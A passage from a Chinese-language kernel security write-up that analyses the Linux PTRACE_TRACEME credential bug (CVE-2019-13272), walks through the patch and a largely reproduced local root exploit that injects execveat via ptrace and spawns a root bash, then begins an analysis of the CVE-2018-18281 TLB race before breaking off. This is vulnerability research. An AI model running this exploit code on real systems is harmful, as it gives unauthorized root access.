  • apparmor_bprm_set_creds
  • smack_bprm_set_creds
  • tomoyo_bprm_set_creds

这里哪些 hook 检测函数会被执行,其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话,上述所有这些实现了 ‘bprm_set_creds’ hook 检测的函数都会被执行

在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩

其中, 对 euid 有影响的是 ‘cap_bprm_set_creds’ 这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    815 int cap_bprm_set_creds(struct linux_binprm *bprm)
816 {
817 const struct cred *old = current_cred();
818 struct cred *new = bprm->cred;
819 bool effective = false, has_fcap = false, is_setid;
820 int ret;
821 kuid_t root_uid;
===================== skip ======================
838 /* Don't let someone trace a set[ug]id/setpcap binary with the revised
839 * credentials unless they have the appropriate permit.
840 *
841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
842 */
843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844
845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- 检测是否执行的是 setid 程序
846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
847 !ptracer_capable(current, new->user_ns))) { // <----- 如果执行execve的进程被trace了,且执行的程序是 setuid 的,需要增加权限检测
848 /* downgrade; they get no more than they had, and maybe less */
849 if (!ns_capable(new->user_ns, CAP_SETUID) ||
850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
851 new->euid = new->uid; // <----- 如果检测不通过,会将新进程的 euid 重新设置为原进程的 uid
852 new->egid = new->gid;
853 }
854 new->cap_permitted = cap_intersect(new->cap_permitted,
855 old->cap_permitted);
856 }
857
858 new->suid = new->fsuid = new->euid;
859 new->sgid = new->fsgid = new->egid;
===================== skip ======================
}

如上

  • 行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道,如果执行的文件是 setuid bit 的, euid 就会不一致)
    所以这里等同于检测执行的可执行程序是不是 setid 程序
  • 行 847, 检测本进程是否是 tracee

如果两个条件同时满足,需要执行 ptracer_capable 函数进行权限检测,假设检测不通过, 会执行 downgrade 降权

  • 行 851, 将 new->euid 的值重新变成 new->uid, 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去
1
2
3
4
5
6
7
8
9
10
11
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 时保存的 ptracer_cred
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 进入 lsm 框架进行安全检测
507 rcu_read_unlock();
508 return (ret == 0);
509 }

如上,

  • 行 504, 取出 ‘tsk->ptracer_cred’
  • 行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测

到了这里, 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了, 如前所述,这个变量是建立 trace 关系时, tracee 保存的 tracer 的 cred

当 tracee 随后执行 execve 去执行 suid 可执行程序时,就会调用 ptracer_capable 这个函数, 通过 lsm 里的安全框架去判断 ‘ptracer_cred’ 的权限

lsm 框架里的 capable hook 检测我们这里不分析了, 简单来说, 如果 tracer 本身是 root 权限, 则这里的检测会通过, 如果不是, 就会返回失败

根据前面的分析,如果 ptracer_capable 检测失败, new->euid 的权限会被降回去

举个例子, A ptrace B , B execve 执行 ‘/usr/bin/passwd’, 根据上面代码的分析, 如果 A 是 root 权限, 则 B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限

1
2
3
4
5
6
7
8
9
kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}

回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢? 明明这时候 parent 就是 tracer 啊?

我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred

1
2
3
4
5
6
7
8
9
10
- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C

如上场景有 3 个进程 A, B, C

  • 第 4 步, task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时, 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0
  • 第 5 步, task C 随后执行 execve(suid binary), 根据我们上面的分析,由于 C 的 ptracer_cred 是特权的, 所以 ptracer_capable 函数检测通过,所以执行完 execve 后, task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的
  • 第 6 步, task B 执行 setresuid 将自己降权, 这个降权的目的是为了能让 task A attach
  • 第 8 步, task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作
  • 第 9 步, task B 控制 task C 执行提权操作

前面 8 步,依据之前的代码分析都是成立的,那么第 9 步能不能成立呢?

执行第 9 步时, task B 本身是普通权限, task C 的 euid 是 root 权限, B 和 C 的 trace link 有效, 这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作,包括提权操作?

下面我们结合代码分析这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
1112 unsigned long, data)
1113 {
1114 struct task_struct *child;
1115 long ret;
1116
1117 if (request == PTRACE_TRACEME) {
1118 ret = ptrace_traceme(); // <----- 进入 traceme 分支
1119 if (!ret)
1120 arch_ptrace_attach(current);
1121 goto out;
1122 }
1123
1124 child = find_get_task_by_vpid(pid);
1125 if (!child) {
1126 ret = -ESRCH;
1127 goto out;
1128 }
1129
1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
1131 ret = ptrace_attach(child, request, addr, data); // <------ 进入 attach 分支
1132 /*
1133 * Some architectures need to do book-keeping after
1134 * a ptrace attach.
1135 */
1136 if (!ret)
1137 arch_ptrace_attach(child);
1138 goto out_put_task_struct;
1139 }
1140
1141 ret = ptrace_check_attach(child, request == PTRACE_KILL ||
1142 request == PTRACE_INTERRUPT);
1143 if (ret < 0)
1144 goto out_put_task_struct;
1145
1146 ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request
1147 if (ret || request != PTRACE_DETACH)
1148 ptrace_unfreeze_traced(child);
1149
1150 out_put_task_struct:
1151 put_task_struct(child);
1152 out:
1153 return ret;
1154 }

如上, 由于 task B 和 task C 此时已经存在 trace link, 所以通过 B 向 C 可以直接发送 ptrace request, 将进入函数 arch_ptrace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
arch/x86/kernel/ptrace.c

arch_ptrace
-> ptrace_request
-> generic_ptrace_peekdata
generic_ptrace_pokedata
-> ptrace_access_vm
-> ptracer_capable

kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885 unsigned long addr, unsigned long data)
886 {
887 bool seized = child->ptrace & PT_SEIZED;
888 int ret = -EIO;
889 siginfo_t siginfo, *si;
890 void __user *datavp = (void __user *) data;
891 unsigned long __user *datalp = datavp;
892 unsigned long flags;
893
894 switch (request) {
895 case PTRACE_PEEKTEXT:
896 case PTRACE_PEEKDATA:
897 return generic_ptrace_peekdata(child, addr, data);
898 case PTRACE_POKETEXT:
899 case PTRACE_POKEDATA:
900 return generic_ptrace_pokedata(child, addr, data);
901
=================== skip ================
1105 }


1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157 unsigned long data)
1158 {
1159 unsigned long tmp;
1160 int copied;
1161
1162 copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 调用 ptrace_access_vm
1163 if (copied != sizeof(tmp))
1164 return -EIO;
1165 return put_user(tmp, (unsigned long __user *)data);
1166 }
1167
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169 unsigned long data)
1170 {
1171 int copied;
1172
1173 copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 调用 ptrace_access_vm
1174 FOLL_FORCE | FOLL_WRITE);
1175 return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

如上,当 tracer 想要控制 tracee 执行新的代码逻辑时,需要发送 request 读写 tracee 的代码区和内存区, 对应的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA

这几种读写操作最终都是通过函数 ptrace_access_vm 实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39 void *buf, int len, unsigned int gup_flags)
40 {
41 struct mm_struct *mm;
42 int ret;
43
44 mm = get_task_mm(tsk);
45 if (!mm)
46 return 0;
47
48 if (!tsk->ptrace ||
49 (current != tsk->parent) ||
50 ((get_dumpable(mm) != SUID_DUMP_USER) &&
51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- 又是调用 ptracer_capable 函数
52 mmput(mm);
53 return 0;
54 }
55
56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57 mmput(mm);
58
59 return ret;
60 }

kernel/capability.c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501 int ret = 0; /* An absent tracer adds no restrictions */
502 const struct cred *cred;
503 rcu_read_lock();
504 cred = rcu_dereference(tsk->ptracer_cred);
505 if (cred)
506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
507 rcu_read_unlock();
508 return (ret == 0);
509 }

如上, ptrace_access_vm 函数会调用我们之前分析到的 ‘ptracer_capable’ 来决定这个 request 是否可以进行, 这是 ‘ptracer_capable’ 函数的第二种使用场景

根据之前我们分析的结果, task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过, 也就是说我们回答了刚刚的问题, 这种情况下,普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C 的内存区和代码区的

至此,task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用

  • 1,可以让 task C 执行 execve(suid binary) 给自己提权
  • 2,可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区,从而控制 task C 执行任意操作

上面 2 点合起来,不就是完整的提权操作吗?

小结

我们仔细回顾上述代码分析过程, 才终于明白补丁描述写的这段话

1
2
3
4
5
6
7
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

本质上这个漏洞有点像 TOCTOU 类漏洞, ptracer_cred 的获取是在 traceme 阶段, 而 ptracer_cred 的应用是在随后的各种 request 阶段, 而在随后的 ptrace request 的时候, tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

我们再次看看 jann horn 的补丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’

补丁的意思是说在 PTRACE_TRACEME 这种场景下, ptracer_cred 记录的不应该是父进程的 cred, 而应该是自己的 cred

所以我觉得从这个变量的用途来说,它其实记录的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred

我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH 建立时, 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时, 它等于 tracee 的 cred, 它实际上记录的是 trace 关系建立者的权限 !

exploit

本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:

  • 1, 必须是能被普通权限用户调用
  • 2, 执行时必须有提权到root的阶段
  • 3, 执行提权后必须执行降权

(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace attach)

这里我列出 3 份 exploit 代码:

jann horn 的 exploit 里使用桌面发行版自带的 pkexec 程序用于启动 task B

pkexec 允许特权用户以其他用户权限执行另外一个可执行程序, 用于 polkit 认证框架, 当使用 –user 参数时, 刚好可以让进程先提权到 root 然后再降权到指定用户,因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn 把他们成为 helper), 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证(很多通过 polkit 执行的程序都需要弹窗认证), 执行的模式如下:

  • /usr/bin/pkexec –user nonrootuser /user/sbin/some-helper-binary

bcoles 的 exploit 在 jann horn 的基础上增加了寻找更多 helper binary 的代码, 因为 jann horn 的 helper 是一个写死的程序, 在很多发行版并不存在,所以他的 exploit 在很多发行版系统上无法运行, bcoles 的 exploit 可以在更多的发行版上运行成功

本人出于学习的目的,也写了一份 jiayy 的 exploit, 因为 helper binary 因不同发行版而异, pkexec 也是桌面发行版才有, 而事实上这个提权漏洞是 linux kernel 的漏洞, 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权, 而这个 fakepkexec 和 fakehelper 程序手动生成(而不是从目标系统搜索),这样一来学习者可以在任何存在本漏洞的 linux 系统(不需要桌面)运行我的 exploit 进行研究

exploit 分析

下面简单过一下 exploit 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
172
173 helper_path = "/tmp/fakehelper";
174
175 /*
176 * set up a pipe such that the next write to it will block: packet mode,
177 * limited to one packet
178 */
179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181 char dummy = 0;
182 SAFE(write(block_pipe[1], &dummy, 1));
183
184 /* spawn pkexec in a child, and continue here once our child is in execve() */
185 static char middle_stack[1024*1024];
186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188 if (!middle_success) return 1;
189
======================= skip =======================
215 }

先看行 186, 调用 clone 生成子进程(也就是 task B), task B 运行 middle_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 64 static int middle_main(void *dummy) {
65 prctl(PR_SET_PDEATHSIG, SIGKILL);
66 pid_t middle = getpid();
67
68 self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69
70 pid_t child = SAFE(fork());
71 if (child == 0) {
72 prctl(PR_SET_PDEATHSIG, SIGKILL);
73
74 SAFE(dup2(self_fd, 42));
75
76 /* spin until our parent becomes privileged (have to be fast here) */
77 int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78 char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
79 while (1) {
80 char buf[1000];
81 ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82 buf[buflen] = '\0';
83 if (strstr(buf, needle)) break;
84 }
85
86 /*
87 * this is where the bug is triggered.
88 * while our parent is in the middle of pkexec, we force it to become our
89 * tracer, with pkexec's creds as ptracer_cred.
90 */
91 SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92
93 /*
94 * now we execute passwd. because the ptrace relationship is considered to
95 * be privileged, this is a proper suid execution despite the attached
96 * tracer, not a degraded one.
97 * at the end of execve(), this process receives a SIGTRAP from ptrace.
98 */
99 puts("executing passwd");
100 execl("/usr/bin/passwd", "passwd", NULL);
101 err(1, "execl passwd");
102 }
103
104 SAFE(dup2(self_fd, 0));
105 SAFE(dup2(block_pipe[1], 1));
106
107 struct passwd *pw = getpwuid(getuid());
108 if (pw == NULL) err(1, "getpwuid");
109
110 middle_success = 1;
111 execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }

行 70, 调用 fork 生成孙进程(也就是 task C)

然后行 111, task B 运行 fakepkexec 让自己提权再降权

然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后, 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

190 /*
191 * wait for our child to go through both execve() calls (first pkexec, then
192 * the executable permitted by polkit policy).
193 */
194 while (1) {
195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196 char buf[16];
197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198 buf[buflen] = '\0';
199 *strchrnul(buf, '\n') = '\0';
200 if (strncmp(buf, basename(helper_path), 15) == 0)
201 break;
202 usleep(100000);
203 }
204
205 /*
206 * our child should have gone through both the privileged execve() and the
207 * following execve() here
208 */
209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210 SAFE(waitpid(midpid, &dummy_status, 0));
211 fputs("attached to midpid\n", stderr);
212
213 force_exec_and_wait(midpid, 0, "stage2");
214 return 0;

接下去回到 task A 的 main 函数, 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后,
运行行 213 执行 force_exec_and_wait

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }

函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程(即 exploit 的可执行程序)然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数

1
2
3
4
5
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();

而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3

1
2
3
4
5
6
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
157 return 0;
158 }

当 exploit binary 以参数 stage3 运行时,实际运行的是 spawn_shell 函数, 所以 task C 最后阶段运行的是 spawn_shell

1
2
3
4
5
6
160 static int spawn_shell(void) {
161 SAFE(setresgid(0, 0, 0));
162 SAFE(setresuid(0, 0, 0));
163 execlp("bash", "bash", NULL);
164 err(1, "execlp");
165 }

在 spawn_shell 函数里, 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的 setresuid/setresgid 可以成功执行,到此为止, task C 就变成了一个完全的 root 进程, 最后再执行 execlp 启动一个 shell, 即得到了一个完整 root 权限的 shell

引用

TLB 缓存延迟刷新漏洞 CVE-2018-18281 解析

author: [email protected] of IceSword Lab , Qihoo 360

简介

最近, 业内发现了一批内存管理系统的漏洞, project 0 的 Jann Horn 放出了其中一个漏洞 CVE-2018-18281writeup, CVE-2018-18281 是一个 linux kernel 的通用漏洞, 这个漏洞的模式比较罕见, 不同于常规的内存溢出类漏洞, 也不是常见的 UAF 漏洞, 它是由内存管理系统的底层逻辑错误导致的, 根本原因是 TLB 缓存没有及时刷新造成虚拟地址复用, 可以实现较为稳定的提权利用.

TLB

linux 内核通过 多级页表 实现虚拟内存机制, 为了提高访问速度, 一些映射信息会被缓存在 TLB 里, cpu 在访问一个虚拟地址的时候, 会先查找 TLB , 如果没有命中, 才去遍历主存里的多级页表, 并将查找到的映射关系填入 TLB

反过来, 如果某个映射关系要解除, 除了在主存里的相关表项要删除, 还需要对多个cpu core 同步执行 TLB 刷新, 使得在所有 TLB 缓存里该映射关系消除, 否则就会出现不一致.

上述关于 TLB 和内存映射的说明只是简化版本, 用于简单理解这个漏洞的原因, 真正的实现不同操作系统, 不同体系架构, 都不一样. 可以查阅芯片手册, 如 TLBs, Paging-Structure Caches, and Their Invalidation 和一些分析, 如 Reverse Engineering Hardware Page Table Caches

漏洞

先看两个系统调用

  • mremap 系统调用用来改变虚拟内存的映射区域
  • ftruncate 系统调用用来改变文件的大小到指定大小

这两个系统调用表面上看八竿子打不着, 但在 linux 内核的实现里, 他们的调用链条会出现一个竞态条件异常

1
2
3
4
5
6
7
8
9
10
1) sys_mremap() -> mremap_to()->move_vma()->move_page_tables(). 
move_page_tables() first calls move_ptes() in a loop,
then performs a TLB flush with flush_tlb_range().

2) sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()
->shmem_setattr()->unmap_mapping_range()->unmap_mapping_range_tree()
->unmap_mapping_range_vma() ->zap_page_range_single()->unmap_single_vma()
->unmap_page_range()->zap_pud_range()->zap_pmd_range()->zap_pte_range()
can concurrently access the page tables of a process that is in move_page_tables(),
between the move_ptes() loop and the TLB flush.

mremap 底层实现主要是 move_ptes 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
89 static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
90 unsigned long old_addr, unsigned long old_end,
91 struct vm_area_struct *new_vma, pmd_t *new_pmd,
92 unsigned long new_addr, bool need_rmap_locks)
93 {
94 struct address_space *mapping = NULL;
95 struct anon_vma *anon_vma = NULL;
96 struct mm_struct *mm = vma->vm_mm;
97 pte_t *old_pte, *new_pte, pte;
98 spinlock_t *old_ptl, *new_ptl;
======================== skip ======================
133 old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);
134 new_pte = pte_offset_map(new_pmd, new_addr);
135 new_ptl = pte_lockptr(mm, new_pmd);
136 if (new_ptl != old_ptl)
137 spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
138 arch_enter_lazy_mmu_mode();
139
140 for (; old_addr < old_end; old_pte++, old_addr += PAGE_SIZE,
141 new_pte++, new_addr += PAGE_SIZE) {
142 if (pte_none(*old_pte))
143 continue;
144 pte = ptep_get_and_clear(mm, old_addr, old_pte);
145 pte = move_pte(pte, new_vma->vm_page_prot, old_addr, new_addr);
146 pte = move_soft_dirty_pte(pte);
147 set_pte_at(mm, new_addr, new_pte, pte);
148 }
149
150 arch_leave_lazy_mmu_mode();
151 if (new_ptl != old_ptl)
152 spin_unlock(new_ptl);
153 pte_unmap(new_pte - 1);
154 pte_unmap_unlock(old_pte - 1, old_ptl);
155 if (anon_vma)
156 anon_vma_unlock_write(anon_vma);
157 if (mapping)
158 i_mmap_unlock_write(mapping);
159 }

结合上面代码, 有两点需要注意

  • 锁, 133 ~ 137 这几行目的是获取 pmd (pmd 指针指向一个存满了 pte 结构的页面) 的锁 (包括旧的和新的), 151 ~ 154 这几行是释放 pmd 锁
  • ptes 拷贝, 对一个 pmd 里的所有 pte 执行拷贝操作, 144 这一行调用 ptep_get_and_clear 将 old_pte 的值赋值给临时变量 pte 并清空旧的页表项, 147 这一行调用 set_pte_at 将刚刚的 pte 赋值给 new_pte 指针

简单而言, move_ptes 将旧的 pmd 页的值 ( ptes ) 拷贝到了新的 pmd 页, 这就是 mremap 函数在底层的实现, 它并不需要删除旧地址对应的 pages, 只需要将旧地址关联到的 ptes 拷贝到新地址关联的页表, 这种拷贝是按照 pmd 为单位进行的, 每处理完一个 pmd, 对应的 pmd lock 就会释放.

ftruncate 函数将文件大小变为指定的大小, 如果新的值比旧的值小, 则需要将文件在内存的虚存空间变小, 这需要调用到 zap_pte_range 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1107 static unsigned long zap_pte_range(struct mmu_gather *tlb,
1108 struct vm_area_struct *vma, pmd_t *pmd,
1109 unsigned long addr, unsigned long end,
1110 struct zap_details *details)
1111 {
1112 struct mm_struct *mm = tlb->mm;
1113 int force_flush = 0;
1114 int rss[NR_MM_COUNTERS];
1115 spinlock_t *ptl;
1116 pte_t *start_pte;
1117 pte_t *pte;
1118 swp_entry_t entry;
1119
1120 again:
1121 init_rss_vec(rss);
1122 start_pte = pte_offset_map_lock(mm, pmd, addr, &ptl);
1123 pte = start_pte;
1124 flush_tlb_batched_pending(mm);
1125 arch_enter_lazy_mmu_mode();
1126 do {
1127 pte_t ptent = *pte;
========================== skip ==========================
1146 ptent = ptep_get_and_clear_full(mm, addr, pte,
1147 tlb->fullmm);
1148 tlb_remove_tlb_entry(tlb, pte, addr);
========================== skip ==========================
1176 entry = pte_to_swp_entry(ptent);
========================== skip ==========================
1185 if (unlikely(!free_swap_and_cache(entry)))
1186 print_bad_pte(vma, addr, ptent, NULL);
1187 pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);
1188 } while (pte++, addr += PAGE_SIZE, addr != end);
1189
1190 add_mm_rss_vec(mm, rss);
1191 arch_leave_lazy_mmu_mode();
1192
1193 /* Do the actual TLB flush before dropping ptl */
1194 if (force_flush)
1195 tlb_flush_mmu_tlbonly(tlb);
1196 pte_unmap_unlock(start_pte, ptl);
========================== skip ==========================
1212 return addr;
1213 }

结合上面代码, 有三点需要注意,

  • 锁, 1122 行获取了 pmd 的锁, 1196 行释放了 pmd 的锁, 这里的 pmd 锁跟 move_ptes 函数里的是同一个东西
  • pte, 1146 行清空了页表项
  • page, 1185 行调用函数 free_swap_and_cache 释放了 pte 对应的 page cache, 将物理页面释放, 这是与 move_ptes 不同的地方

将上述两个函数的流程放到一起分析, 假设下面这种情况:

假设一个进程有 A,B,C 三个线程:

  • 1) A 映射一个文件 a 到地址 X, 映射条件为: PROT_READ , MAP_SHARED
  • 2) C 循环读取 X 的内容
  • 3) A 调用 mremap 重新映射 X 到 Y, 这个调用会执行下面两个函数:
    • 3.1) move_ptes , 该函数做如下操作:
      • 3.1.1) 获取 X 页表和 Y 页表的锁
      • 3.1.2) 遍历 X 对应页表的 pte , 释放之, 并在 Y 页表重建这些 pte
      • 3.1.3) 释放 Y 页表的锁
      • 3.1.4) 释放 X 页表的锁
    • 3.2) flush_tlb_range : 刷新 X 对应的 TLB 缓存
  • 4) B 调用 ftruncate 将文件 a 的文件大小改为 0, 这个调用会执行下面操作:
    • 4.1) 获取 Y 页表的锁
    • 4.2) 删除 Y 对应的页表
    • 4.3) 释放 Y 对应的 pages
    • 4.4) 刷新 Y 对应的 TLB 缓存
1
2
3
4
5
6
说明: 

实际上 X 和 Y 是两块内存区域, 也就是说可能比一个 pmd 所容纳的地址范围大,
